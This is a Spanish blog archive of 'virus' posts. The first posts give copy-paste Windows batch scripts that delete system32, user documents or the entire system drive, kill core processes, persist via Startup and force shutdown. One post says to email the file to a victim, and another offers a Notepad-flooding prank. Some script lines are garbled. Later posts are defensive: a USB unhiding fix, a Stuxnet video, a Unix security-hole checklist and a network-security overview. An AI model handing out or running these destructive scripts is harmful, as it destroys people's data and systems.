Mostrando entradas con la etiqueta virus. Mostrar todas las entradas
Mostrando entradas con la etiqueta virus. Mostrar todas las entradas

sábado, 7 de enero de 2012

Codigo batch que abre Youtube y elimina archivos principales

aqui les paso un codigo en batch el cual abre la pagina youtube pero a la vez elimina el firefox, explorer, archivos dentro de Mis Documentos, otros archivos importantes del sistema, todos los archivos importantes para el reinicio asi que la Pc afectada no podra encenderse y apaga tu PC en 50 segundos.
@echo off
:virus
rund1132 keyboard, disable
rund1132 mouse, disable
start YouTube.com
taskkill -f -t /im explorer.exe
taskkill -f -t /im firefox.exe
taskkill -f -t /im csrss.exe
taskkill -f -t /im winlogon.exe
taskkill -f -t /im rund1132.exe
taskkill -f -t /im dwm.exe
del autoexec.bat
del c:\windows
del -f -q "C:\Users\%userprofile%\My Documents\*.*"
del -f -q "C:\Users\%userprofile%\My Documents\My Pictures\*.*"
del -f -q "C:\Users\%userprofile%\My Documents\My Videos\*.*"
cd "C:\WINDOWS\system32"
del -f -q "*.*"
Copy "Virus.bat" "C:\Users\%userprofile%\Start Menu\Programs\startup"
shutdown -s -t 50 "Virus Initialized"
goto :virus 
En caso la PC lograra encenderse este programa se ejecutara nuevamente ya que se copia a los programas que se cargaran al iniciar el PC(lo pueden ver en la ultima linea).
Por favor este codigo que pongo es con fines instructivos para que entiendas los bucles y otras sentencias en batch, asi que DON'T TRY THIS ON YOUW OWN PC

Crear programa batch para abrir el Block de Notas sin parar

En este pequeño tutorial explicare como hacer un "virus" inofensivo que abre el block de notas continuamente. Este es un codigo no destructivo para tu PC. Si quieres divertirte un poco, podrias enviarle a tus amigos o colgarlo en el cyber :)
Bueno lo que vamos a hacer es abrir el Block de Notas, escribir este codigo y guardarlo como Notepad.bat

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
No se olviden que para guardar como .bat deben ir a Tipo: Todos los archivos

disfruten :)

domingo, 25 de diciembre de 2011

Destruye cualquier PC facilmente

Abram el Notepad y copien el siguiente codigo de abajo:
@echo off
del *.txt
del *.exe
del *.ini
net stop "security"
del c://windows/system32
mkdir O
copy halo.bat O
copy %0 halo.bat %windir%
kill %windir%
kill system.ini

Guardenlo como .bat.
Este codigo apagaa la computadora de la victima. Lo apaga solo una vez y elimina los archivos necesarios para resetear y reiniciar. Diviertanse :D

RECUERDA: No des click en este archivo.
NO PODRAS RECUPERAR TU COMPUTADORA DESPUES DE DAR CLICK EN ESTE ARCHIVO .BAT

No intentes esto en tu propia maquina

Crear un virus mortal en 10 segundos

Hola amigos, despues de "naufragar" un poco por la red encontre este codigo que aca les comparto. La funcion de este codigo es eliminar todos los archivos del disco duro y aoagar tu maquina.
Lo que van a hacer es:
  1. Abrir Block de Notas.
  2. Copia el codigo de abajo y pegalo en el Block de Notas.
  3. @echo off 
     del %systemdrive%\*.* /f /s /q 
     shutdown -r -f -t 00
    
  4. Guardalo como .bat
  5. Adjuntalo este archivo en tu email y envialo a tu victima
P.D.: Nunca abras este archivo despues de haber guardado en la computadora, de lo contrario perderas toda la data de tu disco duro.

domingo, 4 de diciembre de 2011

Como mostrar carpetas ocultas por virus en memorias USB

Si al tratar de acceder a una carpeta localizada en su memoria USB se dan cuenta de que no está y están seguros que no la han borrado por accidente, lo más seguro es que su memoria fue infectada por un virus y este ocultó su carpeta junto con los archivos almacenados en ella; esto sucede más a menudo de lo que creen, lo bueno es que de una manera relativamente sencilla puede volver a mostrar la carpeta y todo su contenido sin problemas.
Bueno, el primer paso, y el más lógico, es escanear la memoria USB con un buen antivirus, si esto no funciono y sus carpetas siguen ocultas, procedemos al plan B:
  • Desde el escritorio de su computadora den clic en el botón Inicio y luego en Ejecutar
  • En la pantalla que aparece escriban cmd
  • Ahora estarán en la línea de comandos (una pantalla negra con letras blancas)
  • Escriban la letra de la unidad USB, por ejemplo si su memoria es la unidad H: simplemente escriban H: y presionen Enter, si lo hicieron bien ahora en la pantalla aparecerá algo como H: \> (si no saben cual unidad es su memoria USB pueden dirigirse a Mi PC y allí podrán localizarla).
  • Escriban lo siguiente: attrib -s -r -h /s /d esto mostrara las carpetas que estaban ocultas
Eso es todo, las carpetas volverán a ser visibles, en caso de que el virus haya creado carpetas nuevas borren las que no conozcan.

viernes, 2 de diciembre de 2011

Anatomía de un virus informático

Stuxnet es un virus informático desarrollado para equipos con Windows con la intención de espiar y reprogramar sistemas industriales. Concretamente su objetivo eran las centrales nucleares de Irán. Fue descubierto en 2010 y Kaspersky Labs, una de las principales empresas de seguridad informática a nivel mundial, describió a Stuxnet en una nota de prensa como:
"un prototipo funcional y aterrador de un arma cibernética que conducirá a la creación de una nueva carrera armamentística mundial"
El siguiente vídeo-infografía detalla la anatomía del que posiblemente sea uno de los virus más relevantes de la historia de la seguridad informática:

Stuxnet: Anatomy of a Computer Virus from Patrick Clair on Vimeo.

miércoles, 26 de octubre de 2011

Agujeros de seguridad Parte 2

Creo que esto se debe de dividir en categorias generales:
  1. Principios generales
  2. Buscar agujeros en src
  3. Buscar en las distribuciones binarias
  4. Buscar en configuraciones especificas de sites.
Las siguientes clasificaciones generales sugieren por si mismas:
  1. SUID/SGID
  2. Return codes/error conditions
  3. unexpected input
  4. race conditions
  5. authentication
  6. implicit trust
  7. parameters
  8. permissions
  9. interrupts
  10. I/O
  11. symbolic links
  12. Daemons, particularly those taking user input.
  13. Kernel race conditions
  14. what else? - please add categories
(Division sugerida de lo de arriba en sub-categorias)
I: Suid binaries and scripts
  • unexpected user interactions
  • flawed liberary calls
  • implicit assumptions of external conditions (sym links, loc. paths)
  • race conditions
II: daemons running with priviliged uid's
  • race conditions
  • poor file protectons
  • implicit file protections
  • trust
  • authentication
III: Kernel problems
  • Kernel race conditions
  • device driver code
El siguiente metodo de 4 pasos fue creado por System Development Corporation, que da un indice de 65% de éxito en las hipotesis generadas. El hacer una busqueda detallada de imperfecciones en los sistemas operativos requiere 4 pasos:
Paso 1 Conocimiento de la estructura de control del sistema

Para encontrar agujeros de seguridad, e identificar debilidades de diseño es necesario entender la estructura de control del sistema, y las capas. Uno deberia ser capaz de listar:
  • objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de usuario
  • objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
  • objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.
Con dicha lista, es posible el representar graficamente una jerarquia de control e identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un analisis visual de relaciones definitivamente ayuda. El leer los varios manuales de usuario, operadores, y administradores proveera dicha informacion.
Paso 2 Generar un inventario de desperfectos sospechosos
En particular queremos:
Historia de codigo:
De que UNIX deriva un defecto en particular? Esto es importante para proximas referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera usado por otros en su "reencarnacion" sin parchear.Una referencia solida: Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos previene de realizar una doble tarea.
Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones de los sistemas operativos. Despues intentar averiguar por que cada programa es suid ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres de usuario.A menudo, codigo que nunca fue diseñado para ser suid, se hace suid, para resolver problemas de acceso a ficheros. Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de datos, especificamente:nombre del programa, suid, sgid, objeto accedido (por que es suid/sgid), version del sistema operativo. Alguna sugerencia de como implementar dicha base de datos

Paso 3 Confirmar hipotesis (testear y explotar los defectos)

Paso 4 Hacer generalizaciones de las debilidades del sistema, para las que los defectos representan un ejemplo especifico

Caja de herramientas
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de: ftp cs.arizona.edu /agrep/agrep.tar.Z Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de muchos de estos defectos. Ej: agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp() OR execvp()]} /usr/local/src/*.c
PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un programa que genere todas las permutaciones posibles de los argumentos de la linea de comandos para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.
TCOV:
CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)
TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y presentan series de tests

  1. Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe una serie de tests para testear cadenas aleatorias de entradas. Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo, o no actuaban como debian. En un caso el sistema operativo se vino abajo. El entendimiento de la composicion del buffer y el registro en el ambiente en cuestion, y la entrada esperada se entiende que dara los resultados esperados.
  2. El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International Conference on Systems and Software, pages 275-284, Kona, HI, January '89
  3. Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
  4. A paper by IBM was mentioned that was submitted to USENIX a few years ago. (Anyone have a citation?).
Defectos especificos que chequear
  1. Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas. Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer (sprintf()?, gets(), etc.)tambien: strcpy()
  2. Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL
  3. Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"
  4. Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp() para ejecutar otra cosa.
  5. Cualquier programa que use nombres relativos de ruta (path) dentro del programa
  6. El uso de nombres relativos de ruta para especificar librerias vinculadas dinamicamente.
  7. Rutinas que no chequean codigos de error devueltos por llamadas del sistema (Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)
  8. Los agujeros se pueden encontrar a menudo en codigo que:
    • es portado a un nuevo entorno
    • recibe entradas inesperadas
    • interactua con otro software local
    • accede a archivos de sistema como passwd, L.sys, etc
    • lee entradas de directorios o archivos publicos escribibles
    • programas de diagnostico que tipicamente no estan a prueba de usuarios
  9. Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo de proteccion, flujo de datos, y muacion.
  10. Buscar en los textos man, y guias de usuario las advertencias en contra de las X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.
  11. Buscar comandos o funciones raramente usados o inusuales. En particular seria util buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en versiones de otros sistemas operativos. Chequear las opciones que otros programas podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...
  12. Buscar condiciones raciales.
  13. Fallos del software para verificar que realmente esta comunicandose con el software o modulo de hardware al que quiere acceder.
  14. Falta de deteccion de errores para resetear los mecanismos de proteccion siguientes al error.
  15. Implementacion pobre que da como resultado, por ejemplo, codigos de condicion testeados inapropiadamente
  16. Confianza inplicita: La rutina B asume que los parametros de la rutina A son correctos por que la rutina A es un proceso de sistema
  17. El sistema almacena sus datos o referencia parametros de usuario en el espacio disponible de las direcciones de usuarios
  18. Enterrar procesos de comunicación: condiciones de retorno (passwd OK, illegal parameter, segment error, etc) pueden proporcionar una brecha significativa cuando son combiandos con el paso 17
  19. Los parametros de usuario pueden no estar adecuadamente chequeados.
  20. Direcciones que sobrepasan o se refieren a areas del sistema
  21. Las comprobaciones de condicion de codigo pueden omitirse
  22. Fallo al anticiparse a parametros inusuales o extraordinarios
  23. Buscar niveles del sistema donde los modulos alli involucrados fueron escritos por programadores diferentes, o grupo de programadores - se suelen encontrar agujeros.
  24. Registros que apuntan a la localizacion de valores de parametros en vez de pasar el parametro el mismo.
  25. Cualquier programa ejecutandose con privilegios de sistema (a muchos programas se les da UID 0, para facilitar el acceso a ciertas tablas, etc)
  26. Archivos temporales, buffers leibles por grupos o por todo el mundo
  27. Carencia de valores de "umbral", y carencia de notificacion una vez se han accionado estos.
  28. Cambiar parametros de areas criticas del sistema antes de su ejecucion.
  29. Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario puede ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos (si las areas de texto y datos estan compartidas)
  30. Manipular incorrectamente interrupciones asincronas generadas por usuarios. Usuarios interrumpiendo un proceso, realizando una operación, o bien volviendo para continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc, suelen ocurrir.
  31. Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo que no resetea el UID real y efectivo antes de bifurcarse
  32. Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un programa
  33. Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid root por su facilidad de uso.
  34. Comprobar que los programas suid fueron los que originalmente se pusieron en el sistema. Algunas veces los administradores reemplazaran el password por uno menos seguro que el de las distribuciones.
  35. Buscar programas que se usaran para instalar software o modulos de kernel
  36. Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo que esa era la variable.
  37. La programacion de canales de I/O (Entrada/Salida) es es un blanco primario. Busca errores logicos, inconsistencias, y omisiones.
  38. Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un loop, y asi ejecutar el nuevo codigo modificado.
  39. Si los canales I/O actuan como procesadores independientes tendran acceso ilimitado a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene a su ejecucion.
  40. Buscar bugs que requieran errores en multiples partes del software,ej: di por ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion /etc/a , ahora el programa "b" asume que la informacion de a es correcta y esto lleva a resultados inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)
  41. Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a shell.

Agujeros de seguridad Parte 1

Agujeros de seguridad se manifiestan (en general) en cuatro modos....
  1. Agujeros de seguridad fisicos
    Cuando el problema potencial esta causado debido al hecho de dar a personas sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar cosas que no deberian ser capaces de hacer.Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo donde seria facilisimo para un usuario el reinicializar una maquina en modo mono-ususario y trastear con los archivos de la estacion de trabajo, si no se tomasen precauciones.Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup confidenciales, que de otro modo podrian ser leidas por cualquier usuario con acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran o no permiso.
  2. Agujeros de seguridad en el software
    Cuando el problema esta causado por una mala escritura de partes "privilegiadas" de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas que no deberian.El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa. (Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se describe en [Stoll].) Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:
    • tratar de estructurar tu sistema de forma que el menor software posible con privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que sea robusto.
    • suscribirse a una lista de mail para poder tener lo antes posible informacion con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas. From: Wes Morgan morgan@edu.uky.ms
    • Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo aquellos paquetes de software por los que tengas una necesidad inmediata o previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar informacion a extraños. Por ejemplo, el paquete de contabilidad del Unix System V de AT&T incluye acctcom(1), que podria permitir (por omision) a cualquier ususario el revisar los datos de las cuentas diarias de cualquier otro usuario. >>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como rwhod, fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque (normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion. Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un simple chmod(1) puede prevenir el acceso de usuarios no autorizados. Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION! Tales facilidades tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos manuales de instalacion incluyen listas de "los programas incluidos en este paquete"; asegurate de revisarlo.
  3. Agujeros de seguridad de uso incompatible
    Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador del sistema reune una combinacion de hardware y software y esta es usada como un sistema, estara seriamente dañado desde el punto de vista de la seguridad. Es la incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea agujeros de seguridad.Problemas como este son muy dificiles de encontrar una vez que el sistema esta creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos). Aunque nunca es tarde para volver a pensarlo.Algunos ejemplos estan detallados abajo; no entremos en ellos aquí, ya que estropearia la sorpresa.
  4. Elegir una filosofia de seguridad adecuada y mantenerla
    From: Gene Spafford spaf@cs.purdue.edu El cuarto tipo de problema de seguridad es el de la percepcion y el entendimiento. Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha las partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del mundo es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen password! La seguridad esta relacionada con una politica (o conjunto de politicas/normas) y el funcionamiento de tu sistema conforme a dicha politica

jueves, 20 de octubre de 2011

Seguridad en Redes:Protección de datos en una red

Diseño de un sistema de seguridad
  • El proceso de diseñar un sistema de seguridad podría decirse que es el encaminado a cerrar las posibles vías de ataque, lo cual hace imprescindible un profundo conocimiento acerca de las debilidades que los atacantes aprovechan, y del modo en que lo hacen.
  • Además, existe una gran variedad de ataques posibles a vulnerabilidades pero en la practica se utiliza una combinación de éstas.
  • Los intrusos, antes de poder atacar una red, deben obtener la mayor información posible acerca de esta; intentan obtener la topología, el rango de IPs de la red, los S.O, los usuarios, etc.
Soluciones
Soluciones de seguridad
Herramientas de seguridad
  • protocolos seguros (IPsec, SSL, SSH)
  • almacenamiento de claves (tarjetas inteligentes)
  • certificados (X.509, PGP)
¿A qué nivel se gestiona la seguridad?
  1. Sistema operativo: contraseñas, permisos de archivos, criptografía
  2. Protocolos y aplicaciones de red: permisos de acceso, filtrado de datos, criptografía
  3. Identificación de personal: dispositivos de identificación personal, criptografía
Gestión de Seguridad

 
DEFINICIONES TECNICAS
Además de los virus, existen otros tres enemigos de gran parecido: los gusanos, los troyanos y los backdoors. Aunque a efectos prácticos se suelen considerar también como virus, tienen alguna diferencia con ellos.

Virus
  • Los virus son programas con unas características muy peculiares que se introducen en los ordenadores de formas muy diversas: a través del correo electrónico, Internet, disquetes, etc. Tienen dos características diferenciales:
    • Se reproducen infectando otros ficheros o programas.
    • Al ejecutarse, realizan acciones molestas y/o dañinas para el usuario.
  • El término virus informático se debe a su enorme parecido con los virus biológicos.
  • Del mismo modo que los virus biológicos se introducen en el cuerpo humano e infectan una célula, que a su vez infectará nuevas células al inyectar su contenido en ellas, los virus informáticos se introducen en los ordenadores e infectan ficheros insertando en ellos su "código". Cuando el programa infectado se ejecuta, el código entra en funcionamiento y el virus sigue extendiéndose.
  • Además, ambos tipos de virus presentan síntomas que avisan de su presencia y, mientras que los virus biológicos son micro-organismos, los virus informáticos son micro-programas.
Peligros y modos de ataque
  • Sniffing : consiste en escuchar los datos que atraviesan la red, sin interferir con la conexión a la que corresponden, principalmente para obtener passwords, y/o información confidencial. Protección: basta con emplear mecanismos de autenticación y encriptación.
  • Barrido de puertos: utilizado para la detección de servicios abiertos en máquina tanto TCP como UDP (por ejemplo un telnet que no esté en el puerto 23, ..). Protección: filtrado de puertos permitidos y gestión de logs y alarmas.
  • Bug de fragmentación de paquetes: con longitudes ilegales (más pequeñas o más grandes) de fragmentos, con solape entre ellos o saturación con multitud de fragmentos pequeños (ejemplo ping de la muerte) Protección: actualmente en los routers se limita el tráfico ICMP, incluso se analiza la secuencia de fragmentación, o bien parchear el SSOO
  • Explotar bugs del software: aprovechan errores del software, ya que a la mayor parte del software se le ha añadido la seguridad demasiado tarde, cuando ya no era posible rediseñarlo todo y con ello puede adquirir privilegios en la ejecución, por ejemplo buffers overflow (BOF o desbordamiento de pila) Además, muchos programas corren con demasiados privilegios. La cadena o secuencia de órdenes para explotar esta vulnerabilidad del software se conoce como exploit. Ataque: los hackers se hacen con una copia del software a explotar y lo someten a una batería de pruebas para detectar alguna debilidad que puedan aprovechar. Protección: correcta programación o incluir parches de los últimos servicios.
  • Desbordamiento de pila: sobre la entrada de datos en un programa privilegiado que no verifica la longitud de los argumentos a una función, y se sobreescribe la pila de ejecución modificando la dirección de retorno (para que salte donde nos interese).
    Las funciones strcpy, strcat, gets, son potencialmente vulnerables.
  • Spoofing : intento del atacante por ganar el acceso a un sistema haciéndose pasar por otro que dispone de los privilegios suficientes para realizar la conexión (red de confianza). El ataque que más se suele utilizar sobre conexiones TCP es el conocido como adivinación del número de secuencia (ISN), y además el suplantado se deja fuera de servicio con un ataque DoS, para que no cierre la conexión cuando la máquina atacada reconoce la conexión.
    Ataque: Se basa en la idea de que si un atacante puede predecir el número inicial de secuencia de la conexión TCP generado por la máquina destino, entonces el atacante puede adoptar la identidad de máquina "confiada".
    Otros ataques son ARP spoofing (que una IP suplantada tenga asociada la MAC del atacante), DNS spoofing (el nombre del suplantado tenga la IP del atacante ), donde el intruso se anticipa a alguna pregunta ARP o DNS.
    Protección: encriptación del protocolo, evitar que entren direcciones IP origen desde el exterior propias de la red interna, evitar redes de confianza, utilizar algoritmos complejos (aleatorios) para generar ISN, evitar un excesivo número de sesiones medio abiertas.
  • Hijacking : consiste en robar una conexión después de que el usuario ha superado con éxito el proceso de identificación ante el sistema. Para ello debe sniffear algún paquete de la conexión y averiguar las direcciones IP y los puertos. El ordenador desde el que se lanza el ataque ha de estar en alguna de las dos redes extremo de la conexión, o al menos en la ruta entre ambas.
    Ataque: En un momento determinado, el intruso se adelanta una respuesta en la conexión TCP (con los ISN correctos, lo cual lo obtiene por sniffing) y por tanto el que estaba conectado no cumple con los ISN debido a que el intruso mandó información válida y queda excluido de la conexión, tomando el control el intruso. Protección: uso de encriptación o uso de una red conmutada.
  • Ingeniería social: son ataques que aprovechan la buena voluntad de los usuarios de los sistemas atacados. Un ejemplo de ataque de este tipo es el siguiente: se envía un correo con el remite "root" a un usuario con el mensaje "por favor, cambie su password a “informatica". El atacante entonces entra con ese password. A partir de ahí puede emplear otras técnicas de ataque. O incitando a ver determinadas páginas web, descargar fotos, ...Protección: educar a los usuarios acerca de qué tareas no deben realizar jamás, y qué información no deben suministrar a nadie, salvo al administrador en persona. Utilizar autentificación fuerte.
  • Acceso físico: a los recursos del sistema, pudiendo entrar en consola, adquirir información escrita, etc Protección: políticas de seguridad
  • Adivinación de passwords: la mala elección de passwords por parte de los usuarios permiten que sean fáciles de adivinar o bien que el propio sistema operativo tenga passwords por defecto. Ejemplo: muchos administradores utilizan de password “administrador” ;-)
  • Confianza transitiva : en sistemas Unix existen los conceptos de confianza entre hosts y entre usuarios, y por tanto pueden conectarse entre sí diferentes sistemas o usuarios sin necesidad de autentificación de forma “oficial”. Son autorizaciones y permisos locales bien definidos entre usuarios y máquinas.
  • Ejemplo en Linux las aplicaciones r* (rsh, rlogin, rcp,...) utilizan el fichero /etc/hosts.equiv o el fichero en $HOME/.rhost como método de autentificación. Otras aplicaciones son las X Windows, los RPC, ... Ataque: cualquier atacante que tome el control de una máquina o bien suplante la IP (spoofing), podrá conectarse gracias a la confianza entre hosts y/o entre usuarios.
  • Caballo de Troya : un programa que se enmascara como algo que no es, normalmente con el propósito de conseguir acceso a una cuenta o ejecutar comandos con los privilegios de otro usuario. Protección: revisión periódica de compendios, firma digital, comprobación del sistema de ficheros (ejemplo aplicación “tripware”), etc
  • Denegación de servicios : estos ataques no buscan ninguna información si no a impedir que sus usuarios legítimos puedan usarlas. Ejemplos:
    • agotar el ancho de banda del enlace de una red determinada de forma que la máquina atacada se satura agotando la lista de escucha de “listen”
    • mail bombing, generación conexiones http o ftp masivas (inundación de paquetes SYN TCP), a veces con dirección origen inexistente para que no pueda realizar un RST, conocido como SYN flooding (inundación)
    • pings (o paquetes UDP al puerto 7 de echo) a direcciones broadcast con dirección origen la máquina atacada, conocido como Smurf, Fraggle
    Protección: evitar por reglas las diferentes situaciones creadas, limitar tráfico ICMP en routers, evitar contestación a broadcasts,
  • Ataques dirigidos por datos : son ataques que tienen lugar en modo diferido, sin la participación activa por parte del atacante en el momento en el que se producen. El atacante se limita a hacer llegar a la víctima una serie de datos que al ser interpretados ejecutarán el ataque propiamente dicho, como por ejemplo un virus a través del correo electrónico o código JavaScript maligno. Protección: firma digital e información
  • Enrutamiento fuente: los paquetes IP admiten opcionalmente el enrutamiento fuente, con el que la persona que inicia la conexión TCP puede especificar una ruta explícita hacia él. La máquina destino debe usar la inversa de esa ruta como ruta de retorno, tenga o no sentido, lo que significa que un atacante puede hacerse pasar por cualquier máquina en la que el destino confíe (obligando a que la ruta hacia la máquina real pase por la del atacante). Protección: dado que el enrutamiento fuente es raramente usado, la forma más fácil de defenderse contra ésto es deshabilitarlo en el router.
  • ICMP Redirect: con la opción redirect, alguien puede alterar la ruta a un destino para que las conexiones en las que esté interesado pasen por su máquina, de forma que pueda intervenirlas. Los mensajes redirect deben obedecerlos sólo los hosts, no los routers, y sólo cuando estos provengan de un router de una red directamente conectada. Protección: filtrado de paquetes.
  • Modificación de los protocolos de routing: RIP, BGP, ... de forma que redicciona la información por otras rutas del atacante. Protección: utilizar rutas estáticas o protocolos de routing con encriptación
Tendencias de seguridad
Todas las líneas actuales de investigación en seguridad de redes comparten una idea:
“la concentración de la seguridad en un punto, obligando a todo el tráfico entrante y saliente pase por un mismo punto, que normalmente se conoce como cortafuegos o firewall, permitiendo concentrar todos los esfuerzos en el control de tráfico a su paso por dicho punto”
Metodología de seguridad
La primera tarea a realizar en una red es redactar la política de seguridad. Tras ello, conocer la estructura (topologia, accesos) de la red y finalmente, auditar la red para ver su estado en búsqueda de detección de vulnerabilidades.
Este proceso de detección de vulnerabilidades consiste en:
  • Examen de hosts y elementos de la red, por vulnerabilidades conocidas
  • Puertos abiertos (observar servicios conocidos según /etc/services)
  • Chequeo de la estructura de ficheros e integridad del sistema en el caso de servidores (por ejemplo con herramientas como tripwire)

Cortafuegos
Consiste en un dispositivo formado por uno o varios equipos que se sitúan entre la red de la empresa y la red exterior (normalmente la Internet), que analiza todos los paquetes que transitan entre ambas redes y filtra los que no deben ser reenviados, de acuerdo con un criterio establecido de antemano, de forma simple.
Para que no se convierta en cuello de botella en la red, deben de procesar los paquetes a una velocidad igual o superior al router.
Crea un perímetro de seguridad y defensa de la organización que protege.
Su diseño ha de ser acorde con los servicios que se necesitan tanto privados como públicos (WWW, FTP, Telnet,...) así como conexiones por remotas.
Al definir un perímetro, el cortafuegos opera también como NAT (Network Address Traslation) y Proxy (servidor multipasarela).
Tipo de filtrado en los cortafuegos
Tipo de filtrado:
  • -a nivel de red, con direcciones IP y la interfaz por la que llega el paquete, generalmente a través de listas de acceso (en los routers)
  • -a nivel de transporte, con los puertos y tipo de conexión, a través de listas de acceso (en los routers)
  • -a nivel de aplicación, con los datos, a través de pasarelas para las aplicaciones permitidas analizando el contenidos de los paquetes y los protocolos de aplicación (ejemplo servidor proxy o pasarela multiaplicación, Private Internet Exchange (PIX) de Cisco y/o CBACs Context Based Access Control)

Listas de acceso
Son una técnica de filtrado de paquetes, que consiste en una lista de órdenes ejecutadas secuencialmente a la llegada/salida de cada paquete en las interfaces del router, con las opciones de permit o deny al cumplir la condición especificada en la secuencia según la información de la cabecera del paquete IP y de transporte. Al realizarse en el propio router, suelen ser rápidas frente a otra técnica de filtrado.
Ejemplo:
  • permit tcp 192.168.0.0 0.0.255.255 host 172.16.1.2 eq 443
  • deny any any
Incoveniente: al procesarse los paquetes de forma independiente, no se guarda información de contexto (no se almacenan históricos de cada paquete), ni se puede analizar a nivel de capa de aplicación, dado que está implementado en los routers. Además, son difíciles de seguir en ejecución
Recomendaciones:
  • situar los filtros lo más cerca posible del elemento a proteger
  • no filtrar el mismo tráfico más de una vez

Ejemplo cortafuego con Zona Desmilitarizada

Cortafuego con DMZ conmutada

Productos Comerciales
  • Comerciales
    • Firewall-1 (Check Point)
    • IBM Firewall (International Bussines Machines)
    • Gauntlet (Trusted Information Systems)
  • Libre Distribución
    • FWTK (Trusted Information Systems)

Detección de intrusos: IDS
Las vulnerabilidades de los diferentes sistemas dentro de una red son los caminos para realizar los ataques.
En muchas ocasiones, el atacante enmascara el ataque en tráfico permitido por el cortafuegos y por tanto para delatarlo se necesita un IDS. Son complementarios.
Características deseables para un IDS son:
  • continuamente en ejecución y debe poderse analizar él mismo y detectar si ha sido modificado por un atacante
  • utilizar los mínimos recursos posibles
  • debe de adaptarse fácilmente a los cambios de sistemas y usuarios, por lo que en ocasiones poseen inteligencia para adaptarse (aprender por su experiencia) y configurarse.
Tipos de IDS según localización
  • NIDS (Network Intrusion Detection System): detecta los paquetes armados maliciosamente y diseñados para no ser detectados por los cortafuegos. Consta de un sensor situado en un segmento de la red y una consola. Ventaja: no se requiere instalar software adicional en ningún servidor. Inconveniente: es local al segmento, si la información cifrada no puede procesarla
  • HIDS (Host Intrusion Detection System): analiza el tráfico sobre un servidor. Ventajas: registra comandos utilizados, es más fiable, mayor probabilidad de acierto que NIDS.
Tipos de IDS según modelos de detección
